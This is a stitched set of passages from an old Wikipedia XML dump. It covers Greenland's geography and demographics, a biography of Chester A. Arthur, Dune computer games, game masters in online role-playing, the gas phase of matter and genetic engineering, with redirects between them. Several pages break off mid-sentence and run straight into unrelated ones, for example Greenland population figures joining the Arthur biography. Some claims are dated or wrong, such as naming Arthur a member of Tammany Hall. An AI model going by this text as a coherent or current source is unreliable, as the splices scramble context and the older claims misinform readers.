Greenland|List of towns and settlements in Greenland]] * [[Ellesmere Island]] * [[Svalbard]] * [[Cape Morris Jesup]] * [[Oodaaq]] * [[Kaffeklubben Island]] * [[Dennis Schmitt|Ultima Thule search]] * [[Kalaallit Nunaata Radioa]] - the state broadcaster == References == *[[CIA World Factbook]] 2000 == External links == {{commons|Greenland}} *[http://www.nanoq.gl/english.aspx Greenland Homerule] - Official site *[http://www.cia.gov/cia/publications/factbook/geos/gl.html Greenland] - CIA World Factbook *[http://www.statgreen.gl/ Statistics Greenland] *[http://www.norden.org/web/1-1-fakta/gr_kort.htm Greenland Map] - Hi-Res Map at the Nordic Ministerial Council *[http://www.mapsofworld.com/lat_long/greenland-lat-long.html Latitude and Longitude of Important locations in Greenland] *[http://numismondo.com/pm/grl Greenland Paper Money] {{Nordic Council}} {{North America}} &lt;!-- see [[List of world records]] --&gt; {{Link FA|os}} [[Category:Danish dependencies]] [[Category:Former Norwegian colonies]] [[Category:Greenland]] [[Category:Island nations]] [[Category:Islands of Denmark]] [[Category:North Atlantic Islands]] [[Category:Special territories of the European Union]] [[Category:Arctic]] [[af:Groenland]] [[ang:Grēneland]] [[ar:جرينلاند]] [[bg:Гренландия]] [[zh-min-nan:Chheⁿ-tē]] [[br:Greunland]] [[ca:Grenlàndia]] [[cs:Grónsko]] [[cy:Grønland]] [[da:Grønland]] [[de:Grönland]] [[et:Gröönimaa]] [[el:Γροιλανδία]] [[es:Groenlandia]] [[eo:Gronlando]] [[eu:Groenlandia]] [[fa:گرینلند]] [[fo:Grønland]] [[fr:Groenland]] [[gl:Grenlandia - Kalaallit Nunaat]] [[ko:그린란드]] [[io:Grenlando]] [[id:Greenland]] [[ia:Groenlandia]] [[iu:ᐊᑯᑭᑦᑐᑦ]] [[is:Grænland]] [[it:Groenlandia]] [[he:גרינלנד]] [[kl:Kalaallit Nunaat]] [[la:Groenlandia]] [[lt:Grenlandija]] [[hu:Grönland]] [[nl:Groenland]] [[nds:Gröönland]] [[ja:グリーンランド]] [[no:Grønland]] [[nn:Grønland]] [[os:Гренланди]] [[pl:Grenlandia]] [[pt:Gronelândia]] [[ro:Groenlanda]] [[ru:Гренландия]] [[simple:Greenland]] [[sk:Grónsko]] [[sl:Grenlandija]] [[fi:Grönlanti]] [[sv:Grönland]] [[th:กรีนแลนด์]] [[tr:Grönland]] [[uk:Ґренландія]] [[zh:格陵兰]]</text> </revision> </page> <page> <title>Greenland/History</title> <id>12119</id> <revision> <id>15909825</id> <timestamp>2002-05-19T11:25:39Z</timestamp> <contributor> <username>Maveric149</username> <id>62</id> </contributor> <comment>#redirect [[History of Greenland]]</comment> <text xml:space="preserve">#redirect [[History of Greenland]]</text> </revision> </page> <page> <title>Geography of Greenland</title> <id>12120</id> <revision> <id>40566590</id> <timestamp>2006-02-21T13:58:50Z</timestamp> <contributor> <username>Jensbn</username> <id>90579</id> </contributor> <comment>fixes here and there - still needs some serious attention</comment> <text xml:space="preserve">[[Image:Greenland map.png|frame|right|Outline Map of Greenland with ice sheet depths]] [[Image:Greenland.A2003233.1340.250m-2.jpg|thumb|right|300px|The [[fractal]] coastline of eastern Greenland, with its many fjords.]] [[Greenland]], the largest [[island]] in the world, is located between the [[Arctic Ocean]] and the North [[Atlantic Ocean]], northeast of [[Canada]] and northwest of [[Iceland]]. Greenland has no land boundaries and 44,087 km of coastline. The [[climate]] is [[Polar climate|arctic]] to [[Subarctic climate|subarctic]] with cool [[summer]]s and cold [[winter]]s. The terrain is mostly a flat but gradually sloping icecap that covers all land except for a narrow, mountainous, barren, rocky coast. The lowest point is at [[sea level]], and the highest is [[Gunnbjørn]] (3,700 m). The northernmost point of Greenland proper is [[Cape Morris Jesup]], discovered by Admiral [[Robert Peary]] in [[1909]]. [[Natural resource]]s include [[zinc]], [[lead]], [[iron]] ore, [[coal]], [[molybdenum]], [[gold]], [[platinum]], [[uranium]], [[fish]], [[seal (mammal)|seal]]s, and [[whale]]s. ==Area== &lt;br&gt;''total:'' [[1 E12 m²|2,175,600 km²]] &lt;br&gt;''land:'' 2,175,600 km² (341,700 km² ice-free, 1,833,900 km² ice-covered) (est.) '''Maritime claims:''' &lt;br&gt;''exclusive fishing zone:'' 200 [[nautical mile]]s &lt;br&gt;''territorial sea:'' 3 [[nautical mile]]s ==Land use== &lt;br&gt;''arable land:'' 0% &lt;br&gt;''permanent crops:'' 0% &lt;br&gt;''permanent pastures:'' 1% &lt;br&gt;''forests and woodland:'' 0% &lt;br&gt;''other:'' 99% (1993 est.) ==Irrigated land== Not Applicable ==Natural hazards== Continuous [[ice sheet]] covers 84% of the country; the rest is [[permafrost]]. [[image:greenlandNASA.jpg|250px|thumb|right|Detail of Greenland taken by NASA.]] [[image:Sermeqkujadtlek.jpg|250px|thumb|right|Sermeq Kujatdlek Glacier at West Coast]] [[image:Eastcoastgreenland1.jpg|250px|thumb|right|Nunatak mountains at East Coast]] ==Environment - current issues== Protection of the arctic environment; preservation of the [[Inuit]] traditional way of life, including [[whaling]]; note - Greenland participates actively in [[Inuit Circumpolar Conference]] (ICC). ==Geography - note== Sparse population confined to small settlements along coast; world's second largest [[ice sheet]]. ==Climate change== There is some concern about a contribution to [[sea level rise]] caused by ice melt from Greenland. Between 1997 and 2003 ice loss was 80 +/- 12 km(3) yr(-1), compared to about 60 km(3) yr(-1) for 1993/4-1998/9. Half of the increase was from higher summer melting, with the rest caused by velocities of some glaciers exceeding those needed to balance upstream snow accumulation (Krabill et al., L24402, GRL 2004). ==Extreme points== This is a list of the '''extreme points of [[Greenland]]''', the points that are farther [[north]], [[south]], [[east]] or [[west]] than any other location. '''''Greenland (nation)''''' * Northernmost Point &amp;mdash; [[Kaffeklubben Island]] (83°40'N) - the [[Extreme points of the world|northernmost]] permanent land in the world. * Southernmost Point &amp;mdash; [[Cape Farewell, Greenland|Cape Farewell]], [[Egger Island]] (59°46'N) * Westernmost Point &amp;mdash; [[Cape Alexander, Greenland|Cape Alexander]] (73°08'W) * Easternmost Point &amp;mdash; [[Nordostrundingen]], [[Greenland]] (12°08'W) '''''Greenland (island)''''' * Northernmost Point &amp;mdash; [[Cape Morris Jesup]] (83°39'N) * Southernmost Point &amp;mdash; Peninsula near [[Nanortalik]] * Westernmost Point &amp;mdash; [[Cape Alexander, Greenland|Cape Alexander]] (73°08'W) * Easternmost Point &amp;mdash; [[Nordostrundingen]], [[Greenland]] (12°08'W) ==External link== [http://www.geus.dk/program-areas/raw-materials-greenl-map/greenland/gr-map/kost_1-dk.htm www.geus.dk] Geological map of Greenland from the Geological Survey of Denmark and Greenland ( GEUS). [[Category:Geography of Greenland| ]] [[Category:Geography of Denmark| ]] [[fr:Géographie du Groenland]]</text> </revision> </page> <page> <title>Demographics of Greenland</title> <id>12121</id> <revision> <id>36609732</id> <timestamp>2006-01-25T06:26:19Z</timestamp> <contributor> <ip>69.3.55.145</ip> </contributor> <text xml:space="preserve">'''Population:''' 56,375 (July 2005 est.) '''Age structure:''' &lt;br&gt;''0-14 years:'' 27% (male 7,718; female 7,483) &lt;br&gt;''
ident]] under [[James Garfield]]. Garfield was mortally wounded by [[Charles Guiteau]] on July 2, 1881, and died on September 19, and Arthur became president, serving until March 3, 1885. Before entering national politics, Arthur had been Collector of Customs for the [[Port of New York Authority|Port of New York]]. He was appointed by [[Ulysses S. Grant]] but was fired by [[Rutherford B. Hayes]], under false suspicion of [[bribery]] and [[Political corruption|corruption]]. A member of the [[Tammany Hall]] [[political machine]], his notable achievements in office as President included [[civil service]] reform and the passage of the [[Pendleton Civil Service Reform Act|Pendleton Act]]. The passage of this legislation earned Arthur the moniker &quot;The Father of Civil Service.&quot; Arthur suffered from [[Bright's disease]] and died of a [[cerebral hemorrhage]], most likely related to a history of [[hypertension]], about a day after being found unconscious by his nurse. ==Early life and education== Arthur was born in the town of [[Fairfield, Vermont|Fairfield]] in [[Franklin County, Vermont|Franklin County]], [[Vermont]], on October 5, 1829, although he sometimes claimed to be born in 1830. His parents were William Arthur and Malvina Stone. Political rivals long circulated the rumor that he had been born across the [[United States-Canada border|International Boundary]] in [[Canada]] in hopes of creating doubts as to his eligibility for the presidency (under [[Article Two of the United States Constitution|Article II]] of the [[United States Constitution|U.S. Constitution]] the president must be a natural-born citizen). The rumors were completely untrue. Arthur spent some of his childhood years living in [[Perry, New York|Perry]], [[New York]]. Arthur attended the public schools and later was admitted to [[Union College]] in [[Schenectady, New York|Schenectady]], [[New York]]. There he became a member of [[Psi Upsilon]], North America's fifth oldest [[Fraternities and sororities|college fraternity]], and graduated in 1848. ==Pre-political career== Arthur became principal of North Pownal Academy in [[North Pownal, Vermont|North Pownal]], Vermont in 1851; later he studied law and was admitted to the [[bar (law)|bar]] in 1854. Arthur commenced practice in [[New York City]], where he supported equal rights for [[Black (people)|blacks]] who objected to the [[racial segregation]] of [[Transportation in New York City|city transportation]]. He also took an active part in the reorganization of the state [[militia]]. Arthur married Ellen &quot;Nell&quot; Lewis Herndon on October 25, 1859. In 1860, the couple had a son, William Lewis Herndon Arthur, who was named after Ellen's father. William died at age two of a [[brain disease]]. Another boy, Chester Alan Arthur II, was born in 1864, and a girl, named Ellen Herndon for her mother, in 1871. Ellen died of [[pneumonia]] on January 12, 1880, at the age of 42, only ten months before Arthur was elected vice president. While in the White House, Arthur would not give anyone the place that would have been his wife's. He asked his sister Mary, the wife of John E. McElroy, to assume certain social duties and help care for his daughter. During the [[American Civil War]], Arthur served as acting [[quartermaster]] general of the state in 1861 and was widely praised for his service. He was later commissioned as [[inspector general]], and appointed quartermaster general with the rank of [[brigadier general]], and served until 1862. After the war he resumed the practice of law in New York City. With the help of Arthur's patron and [[political boss]] [[Roscoe Conkling]], Arthur was appointed by President Ulysses S. Grant as Collector of the Port of New York from 1871 to 1878. This was an extremely lucrative and powerful position at the time, and several of Arthur's predecessors had run afoul of the law while serving as collector. Honorable in his personal life and his public career, Arthur nevertheless was a firm believer in the [[spoils system]] even as it was coming under vehement attack from reformers. He insisted upon honest administration of the [[Customs House]], but staffed it with more employees than it really needed, retaining some for their loyalty as party workers rather than for their skill as public servants. == Presidency 1881-1885 == ===Assumption of office=== In 1878, Grant's successor, Rutherford B. Hayes attempted to reform the Customs House. He ousted Arthur, who resumed the practice of law in New York City. Conkling and his followers tried to win redress by fighting for the renomination of Grant at the [[1880 Republican National Convention]]. Failing in that, they reluctantly accepted the nomination of Arthur as vice president. Arthur was elected vice president on the [[Republican Party (United States)|Republican]] ticket with [[James Garfield]] in the [[U.S. presidential election, 1880|1880 presidential election]]. His term began on March 4, 1881. Upon Garfield's [[assassination]], Arthur became president of the United States on September 19, 1881, and was sworn in the following day. ===Policies=== Avoiding old political cronies, Arthur determined to go his own way once in the [[White House]]. He became a man of fashion in his garb and associates, and often was seen with the elite of [[Washington, D.C.]], New York, and Newport. To the indignation of the [[Stalwarts|Stalwart Republicans]], the onetime Collector of the Port of New York became, as President, a champion of civil service reform. Public pressure, heightened by the assassination of Garfield, forced an unwieldy Congress to heed the President. In 1883, Congress passed the [[Pendleton Act]], which established a bipartisan [[Civil Service Commission]], forbade levying political assessments against officeholders, and provided for a &quot;classified system&quot; that made certain Government positions obtainable only through competitive written examinations. The system protected employees against removal for political reasons. Acting independently of party dogma, Arthur also tried to lower [[tariff]] rates so the Government would not be embarrassed by annual surpluses of revenue. Congress raised about as many rates as it trimmed, but Arthur signed the [[Tariff Act of 1883]] anyway. Aggrieved Westerners and Southerners looked to the [[Democratic Party (United States)|Democratic Party]] for redress, and the tariff began to emerge as a major political issue between the two parties. The Arthur Administration enacted the first general Federal [[immigration law]]. Arthur approved a measure in [[1882]] excluding [[paupers]], criminals, and the mentally ill. Congress also suspended [[Chinese people|Chinese]] immigration for ten years, later making the restriction permanent. In 1884, the [[International Meridian Conference]] was held in Washington at President Arthur's behest. This established the [[Prime Meridian|Greenwich Meridian]] which is still in use today. President Arthur demonstrated that he was above factions within the [[Republican Party (United States)|Republican Party]], if indeed not above the party itself. Perhaps in part his reason was the well-kept secret he had known since a year after he succeeded to the Presidency, that he was suffering from [[Bright's Disease]], a fatal kidney disease (see [[Acting President of the United States Presidential disability prior to 1967]]). Arthur ran again in the Republican [[Presidential_primary|Presidential Primary]] in [[1884]], but lost the party's nomination to then former [[Speaker of the United States House of Representatives|Speaker of the House]], [[James G. Blaine]] of Maine. Publisher Alexander K. McClure wrote, &quot;No man ever entered the Presidency so profoundly and widely distrusted, and no one ever retired...more generally respected.&quot; Author [[Mark Twain]], deeply cynical of politicians, conceded, &quot;It would be hard indeed to better President Arthur's administration.&quot; === Significant events during presidency === * [[Standard Oil]] founded ([[1882]]) * [[Chinese Exclusion Act (United States)|Chinese Exclusion Act]] (1882) * [[Pendleton Civil Service Reform Act]] ([[1883]]) * [[Civil Rights Cases]] (1883) ===Administration and Cabinet=== [[Image:Chester A. Arthur - Project Gutenberg eText 13632.png|thumbnail|left|250px|'''Chester A. Arthur''']] {| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot; !bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;| |- |align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM''' |- !bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;| |- |align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''Chester A. Arthur'''||align=&quot;left&quot;|1881&amp;ndash;1885 |- |align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|''None''||align=&quot;left&quot;|1881&amp;ndash;1885 |- !bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;| |- |align=&quot;left&quot;|[[United States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[F. T. Frelinghuysen]]'''||align=&quot;left&quot;|1881&amp;ndash;1885 |- |align=&quot;left&quot;|[[United States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[Charles J. Folger]]'''||align=&quot;left&quot;|1881&amp;ndash;1884 |- |align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Walter Q. Gresham]]'''||align=&quot;left&quot;|1884 |- |align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Hugh McCulloch]]'''||align=&quot;left&quot;|1884&amp;ndash;1885 |- |align=&quot;left&quot;|[[United States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[Robert T. Lincoln]]'''||align=&quot;left&quot;|1881&amp;ndash;1885 |- |align=&quot;left&quot;|[[Attorney General of the United States|Att
p> </contributor> <comment>/* Dune Generations */</comment> <text xml:space="preserve">A number of '''[[Computer and video games|computer game]]s''' based on [[Frank Herbert]]'s [[science fiction]] novel '''''[[Dune (novel)|Dune]]''''' and its two adaptations for [[Dune (film)|film]] and [[Dune (TV miniseries)|television]] were created: ==Dune== ''Main article :'' ''[[Dune (Cryo)|Dune]]'' {{Infobox CVG| title = Dune |image = [[Image:Dune cryo.png|240px]] |developer = [[Cryo Interactive]] |publisher = [[Cryo Interactive]] |released = [[1992]] |genre = [[Strategy game]] |modes = [[Single Player]] |platforms = [[MS-DOS]], [[Amiga]] }} ''Dune'' blended adventure with economic and military strategy, and is considered by many the most immersive Dune computer game. Loosely following the story of the novel, the game casts the player as [[Paul Atreides]], with the ultimate goal of driving the [[House Harkonnen|Harkonnen]] from Dune, while managing [[melange|spice]] extraction, military, and later, ecology through the native [[Fremen]] tribes. As the player progresses, his troops are equipped with weapons from crysknives to Atomics, tap into Paul's latent psychic powers, and get acquainted with such characters from the book as [[Chani]] and [[Liet-Kynes|Liet Kynes]]. Available for the [[Amiga]] and [[IBM PC|IBM compatibles]], it was one of the first floppy games to be converted to CD format, which included footage of the [[David Lynch]] movie, and highly improved, 3D-rendered travelling and location screens. This version (a mix of the Amiga graphics and the extras of the PC-CD version) was also released on [[Sega]]'s Mega CD format. Also worthy of mention is the audio track created by [[Stéphane Picq]] and [[Philip Ulrich]], released by Cryo (formerly Exxos) on the now extremely rare album [[Dune: Spice Opera]]. ==Dune II== {{main|Dune II}} Also known as: *''Dune II: The Battle for Arrakis'' ([[Sega Genesis]] port) *''Dune II: The Building of a Dynasty'' While not the first [[real-time strategy]] game, per se (the first being [[Stonkers]]), Dune II established a format that would be followed for years to come. As such, Dune II is considered the founder (or simply &quot;the daddy&quot;) of the [[real-time strategy|RTS]] genre. Striking a balance between complexity and innovation, it was a huge success and laid the foundation for the coming [[Command and Conquer]] (which was nicknamed &quot;Dune III&quot; by fans and detractors alike), [[Warcraft]], and the RTS craze that endures to this day. The player takes the role of a commander of one of three interplanetary houses, the [[House Atreides|Atreides]], the [[House Harkonnen|Harkonnen]] or the [[House Ordos|Ordos]], with the objective of wresting control of [[Arrakis]] from the two other houses. The basic strategy in the game is to harvest the [[melange|spice]] from the treacherous sand dunes, convert the spice into spendable credits via a harvester and refinery and to build military combat units with these acquired credits in order to fend off and destroy the enemy. In addition to enemy incursions, the player must also deal with periodic appearances of the [[sandworm (Dune)|sandworm]], capable of swallowing vehicles and infantry whole, as well as and harsh weather conditions that can deteriorate the structures of the player's base. ==Dune 2000== {{Infobox CVG| title = Dune 2000 |image = [[Image:Dune 2000 (Game).jpg|240px]] |developer = [[Westwood Studios]] |publisher = [[Virgin Interactive]] |released = [[1998]] |genre = [[Strategy game]] |modes = [[Single Player]] |platforms = [[MS-DOS]] }} Using a game engine which resembles Westwood's ''[[Red Alert (computer game)|Red Alert]]'', ''Dune 2000'' is a remake of ''Dune 2''. The story, told with animations and subtitles in the original Dune 2, is now told with [[full motion video]] starring actors such as [[John Rhys-Davies]]. The game was criticised by some for not adding enough fresh content, and for an inferior interface compared to its competitors &amp;mdash; most notably ''[[Total Annihilation]]''. The storyline, though, has improved markedly as did the triggers in-game with excellent twists to the gameplay. The game also tidied its graphics to incorporate 16-bit graphics as well as incorporating a later patch with new units for multiplay. Despite all these enhancements, the game suffered from poor AI behaviour as well as poor waypointing which has quickly become crucial in fast and furious online multiplayer games. ==Emperor: Battle for Dune== {{Infobox CVG| title = Emperor: Battle for Dune |image = [[Image:EmperorScreenshot.jpg|240px]] |developer = [[Westwood Studios]] |publisher = [[EA Games]] |released = [[2001]] |genre = [[Strategy game]] |modes = [[Single Player]], [[Multiplayer]] |platforms = [[Microsoft Windows]] }} {{details|Emperor: Battle for Dune}} While having an interface similar to the ''[[Command and Conquer]]'' series, it added enough features - such as a [[Game engine|3D engine]] and in-battle reinforcements - to provide an interesting change of pace. Features of note are the fairly non-linear campaign, featuring randomized events, and the fast pace relative to the earlier Dune games. The three Houses also featured new units in their ranks, with new abilities. Criticisms of the game are not as much as that of its predecessor, Dune 2000 but it still suffered from poor AI with the computer controlled player attacking the human player with a similar strategy that can be predicted and thereafter countered effectively. Further, the game's bad AI includes a lack of combining units of different abilities as the missions cannot be won by building only a particular type of combat unit. Like Dune 2000, the game featured all new full-motion video cutscenes, somewhat based more on the original movie. The most notable inclusions were those of the roles of the Duke Achillus of [[House Atreides]] being played by ''[[Star Trek]]'''s [[Michael Dorn]]. ==Frank Herbert's Dune== ([[Cryo Interactive]], [[2001]]) [[Image:FH Dune Game.jpg|thumb|right|240px|&quot;Frank Herbert's Dune&quot; PC game by Cryo Interactive (2001)]] Based on the [[Sci Fi Channel|Sci-Fi Channel]] TV Series, ''Frank Herbert's Dune'' was an effort to create a 3D action game in the [[Dune (novel)|Dune]] universe. The game was not a commercial or critical success, and was the last product by Cryo Interactive. The studio went bankrupt shortly after the game flopped. As Paul, the son of the Duke Atreides's concubine and heir to the throne, you must earn the trust and respect from the natives of the planet Dune, the Fremen, to ultimately become their propehsied Messiah, Muad'Dib. You will have to free them from the desolate conditions their home planet is in. Done that, there still is the evil Lord Harkonnen, who, with covert backup from the Emperor, slaughtered your family. The story behind each mission is accurate to the world of the novels although they took place during the Two Year span in Dune where Paul gains the Fremen's trust. Some concepts of the gameplay were innovative. Such as the use of a Life Gauge and a Water Gauge, when the Life Gauge is empty you die but health can be restored at any point before that by drinking Water. This meant that the player had to time his drinks carefully to coincide with when he could next gain another drink. Another interesting concept was that if the player was able to stealthily sneak up on an enemy and attack him unawares, not only would he be dispatched without using any ammunition or taking any damage, but the player would also steal some of his water. Unfortunately this led to an incredibly steep learning curve which made an already awkward to play game almost impossible in some sections. ==Dune Generations== [[Image:Dune_generations_screenshot.jpg|thumb|right|240px|&quot;Dune Generations&quot; by CryoNetworks (2001)]] [[Image:Dune_generations_logo.gif|left|120px|Dune Generations Logo]] [[Cryo_Interactive|Cryonetworks]] in 2001 revealed Dune Generations, its upcoming online real-time strategy game based on Frank Herbert's classic sci-fi novel series. The company launched an official Web site for the upcoming game that features some concept images, a brief background story and description of the persistent gameworld, and a list of frequently asked questions. Dune Generations was scheduled for release at the end of 2001. Dune Generations will let players assume control of a dynasty in the Dune universe. The goal of the game is to build the dynasty into the most powerful family in the universe and gain control of the planet Arrakis, the source of the most precious substance in the universe: spice. Players can choose to control one of three types of dynasties--traders, soldiers, or mercenaries--and each dynasty type provides a different playing experience. At the beginning of 2002 Cryo's closure was announced, due to a failure to negotiate a deal with the company's creditors. Cryo was the publisher behind the upcoming massively multiplayer online sci-fi role-playing game Dune Generations. A number of other Cryo games have been published in North America through a partnership with Canada-based DreamCatcher Interactive. *[http://www.gamespot.com/pc/strategy/dunegenerations/news.html?sid=2766761 Dune Generations Q&amp;A] at Gamespot.com *[http://www.thedune.ru/cgi-bin/ccc/counter.pl?dunegen/video/dunegenerations.avi Dune Generations trailer] at Thedune.ru (6MB) ==External links== *[http://www.mobygames.com/game_group/sheet/gameGroupId,17/ MobyGames' entry on the ''Dune'' series] *[http://www.mobygames.com/game_group/sheet/gameGroupId,656/ MobyGames' entry on the ''Dune II'' series] *[http://www.ocremix.org/game/188/ Unofficial arrangements (ReMixes) of Dune's soundtrack] at [[OverClocked ReMix]] *[http://dune2k.com/ FED2k] *[http://www.the-underdogs.org/game.php?name=Dune ''Dune''] at [[Home of the Underdogs]] [[Category:Real-time strategy computer games]] [[Category:1
includes the political information ([[tax]] rates, [[census]] data, [[economics|economic]] statistics, etc.), write-ups on major non-player characters which dwell in their locale, and a general history of the area as told by the GMs of the region before them; and, should they choose, a team of Assistant Game Masters (AGMs) with limited ability to act on their GM’s behalf. Also, the GMs police their forum for inappropriate activity, minor rules violation, and have the ability to control elements of their section of [[Bulletin board system| bulletin board]]. Other types of Game Master exist and have formally existed in The Allerian Empire. Provincial Game Masters (PGMs) were once assigned to capitol cities within the game and oversaw not only that city but also the governmental interaction between cities in their province. Senior Game Masters (SGMs) were once the website administrators with the ability to promote player accounts, create forums, and discipline players which misbehaved. When the company that runs the game wanted more control over the administrative aspects of the game, the SGM position was dissolved in lieu of a Game Director (GD) position with members confirmed by the President of the company. [[Category:Computer and video game culture]] [[Category:Role-playing game terms]] [[eo:Ludmajstro]] [[fr:Meneur de jeu]] [[ja:ゲームマスター]] [[no:Spilleder (RPG)]] [[pl:Mistrz gry]] [[pt:Mestre de jogo]] [[ru:Мастер (ролевые игры)]] [[zh:遊戲主持者]]</text> </revision> </page> <page> <title>GUI/History</title> <id>12376</id> <revision> <id>15910068</id> <timestamp>2002-08-22T18:43:49Z</timestamp> <contributor> <username>Brion VIBBER</username> <id>51</id> </contributor> <minor /> <comment>Removed extraneous text</comment> <text xml:space="preserve">#REDIRECT [[History_of_the_graphical_user_interface]]</text> </revision> </page> <page> <title>Gas</title> <id>12377</id> <revision> <id>41887526</id> <timestamp>2006-03-02T10:51:50Z</timestamp> <contributor> <username>El C</username> <id>92203</id> </contributor> <minor /> <comment>Reverted edits by [[Special:Contributions/193.82.98.8|193.82.98.8]] ([[User talk:193.82.98.8|talk]]) to last version by Krash</comment> <text xml:space="preserve">{{otheruses}} A '''gas''' is one of the four main [[Phase (matter)|phases of matter]] (after [[solid]] and [[liquid]], and followed by [[Plasma (physics)|plasma]]), that subsequently appear as a solid material is subjected to increasingly higher temperatures. Thus, as energy in the form of [[heat]] is added, a solid (e.g. ice) will first melt to become a liquid (e.g. water), which will then [[boiling|boil]] or [[evaporation|evaporate]] to become a gas (e.g. water vapor). In some circumstances, a solid (e.g. &quot;[[dry ice]]&quot;) can directly turn into a gas: this is called [[sublimation]]. If the gas is further heated, its atoms or molecules can become (wholly or partially) ionized, turning the gas into a plasma. In the gas phase, the [[atoms]] or [[molecules]] constituting the matter basically move independently, with no forces keeping them together or pushing them apart. Their only [[interaction]]s are rare and [[random]] collisions. The particles move in random directions, at high speeds, whose range is dependent on the temperature and defined by the [[Maxwell-Boltzmann distribution]]. Therefore, the gas phase is a completely [[Randomness|disordered]] state. Following the [[second law of thermodynamics]], gas particles will immediately [[diffuse]] to homogeneously fill any shape or volume of space that is made available to them. The thermodynamic state of a gas is characterized by its [[volume]], its [[temperature]], which is determined by the average velocity or kinetic energy of the molecules, and its [[pressure]], which is determined by the average velocity and density or number of molecules. These variables are related by the fundamental [[gas laws]], which state that the pressure in an [[ideal gas]] is proportional to its temperature and number of molecules, but inversely proportional to its volume. Like [[liquid]]s and [[Plasma (physics)|plasmas]], gases are [[fluid]]s: they have the ability to flow and do not tend to return to their former configuration after deformation, although they do have [[viscosity]]. Unlike liquids, however, unconstrained gases do not occupy a fixed volume, but expand to fill whatever space they can occupy. The [[kinetic energy]] per molecule in a gas is the second greatest of the states of matter (after [[Plasma physics|plasma]]). Because of this high kinetic energy, gas atoms and [[molecules]] tend to bounce off of any containing surface and off one another, the more powerfully as the kinetic energy is increased. A common misconception is that the collisions of the molecules with each other is essential to explain gas [[pressure]], but in fact their random velocities are sufficient to define that quantity. Mutual collisions are important only for establishing the [[Maxwell-Boltzmann distribution]]. Gas particles are normally well separated, as opposed to liquid particles, which are in contact. A material particle (say a dust mote) in a gas moves in [[Brownian Motion]]. Since it is at the limit of (or beyond) current technology to observe individual gas particles (atoms or molecules), only theoretical calculations give suggestions as to how they move, but their motion is different from Brownian Motion. The reason is that Brownian Motion involves a smooth drag due to the frictional force of many gas molecules, punctuated by violent collisions of an individual (or several) gas molecule(s) with the particle. The particle (generally consisting of millions or billions of atoms) thus moves in a jagged course, yet not so jagged as we would expect to find if we could examine an individual gas molecule. == Etymology == The word &quot;gas&quot; was apparently coined in the early 17th century by the Belgian chemist [[Jan Baptist van Helmont]], as a re-spelling of his pronunciation of the Greek word [[chaos]]. == See also == * [[Gas laws]] * [[Ideal gas]] * [[Kinetic theory of gases]] * [[Town Gas]] * [[Natural Gas]] * [[List of phases of matter]] * [[Cooling curve]] [[Category:Dutch loanwords]] [[Category:Gases|*]] {{Phase of matter}} [[ar:غاز]] [[bg:Газ]] [[ca:Gas]] [[cs:Plyn]] [[da:Gas]] [[de:Gas]] [[et:Gaas]] [[es:Gas]] [[eo:Gaso]] [[fa:گاز]] [[fr:Gaz]] [[ko:기체]] [[hr:Plin]] [[io:Gaso]] [[id:Gas]] [[it:Gas]] [[he:גז]] [[lv:Gāze]] [[lt:Dujos]] [[hu:Gáz]] [[mk:Гас]] [[ms:Gas]] [[nl:Gas]] [[ja:気体]] [[no:Gass]] [[nn:Gass]] [[pl:Gaz]] [[pt:Gás]] [[ru:Газ (агрегатное состояние)]] [[simple:Gas]] [[sk:Plyn]] [[sl:Plin]] [[fi:Kaasu]] [[sv:Gas]] [[th:แก๊ส]] [[tr:Gaz]] [[zh:气体]]</text> </revision> </page> <page> <title>Gaseous state</title> <id>12378</id> <revision> <id>15910070</id> <timestamp>2002-02-25T15:51:15Z</timestamp> <contributor> <ip>Conversion script</ip> </contributor> <minor /> <comment>Automated conversion</comment> <text xml:space="preserve">#REDIRECT [[Gas]] </text> </revision> </page> <page> <title>Gaseous phase</title> <id>12380</id> <revision> <id>15910071</id> <timestamp>2002-02-25T15:51:15Z</timestamp> <contributor> <ip>Conversion script</ip> </contributor> <minor /> <comment>Automated conversion</comment> <text xml:space="preserve">#REDIRECT [[Gas]] </text> </revision> </page> <page> <title>Great Lake</title> <id>12382</id> <revision> <id>15910073</id> <timestamp>2002-02-25T15:51:15Z</timestamp> <contributor> <ip>Conversion script</ip> </contributor> <minor /> <comment>Automated conversion</comment> <text xml:space="preserve">#REDIRECT [[Great_Lakes]] </text> </revision> </page> <page> <title>Genetic engineering</title> <id>12383</id> <revision> <id>42050278</id> <timestamp>2006-03-03T13:26:02Z</timestamp> <contributor> <ip>82.230.53.77</ip> </contributor> <text xml:space="preserve">[[Image:Glowing tobacco plant.jpg|thumb|right|200px|An iconic image of genetic engineering; this 1986 &quot;autoluminograph&quot; of a glowing transgenic [[tobacco]] plant bearing the [[luciferase]] gene of the [[firefly]] strikingly demonstrates the power and potential of genetic manipulation.]] '''Genetic engineering''', '''genetic modification''' ('''GM'''), and the now-deprecated '''gene splicing''' are terms for the process of manipulating [[gene]]s,usually outside the organism's normal [[Reproduction|reproductive process]]. It often involves the isolation, manipulation and reintroduction of [[DNA]] into [[cell (biology)|cells]] or [[model organism|model organisms]], usually to [[gene expression|express]] a [[protein]]. The aim is to introduce new characteristics such as making a crop resistant to an herbicide, introducing a novel trait, or producing a new protein or enzyme. Examples include the production of human [[insulin]] through the use of modified bacteria, the production of [[erythropoietin]] in [[Chinese Hamster Ovary cell]]s, and the production of new types of experimental mice such as the [[Oncomouse|OncoMouse]] (cancer mouse) for research, through genetic redesign. Since a protein is specified by a segment of DNA called a gene, future versions of that protein can be modified by changing the gene's underlying DNA. One way to do this is to isolate the piece of DNA containing the gene, precisely cut the gene out, and then reintroduce (splice) the gene into a different DNA segment. [[Daniel Nathans]] and [[Hamilton Smith]] received the [[1978]] [[Nobel Prize in physiology or medicine]] for their isolation of [[restriction enzyme|restriction endonucleases]
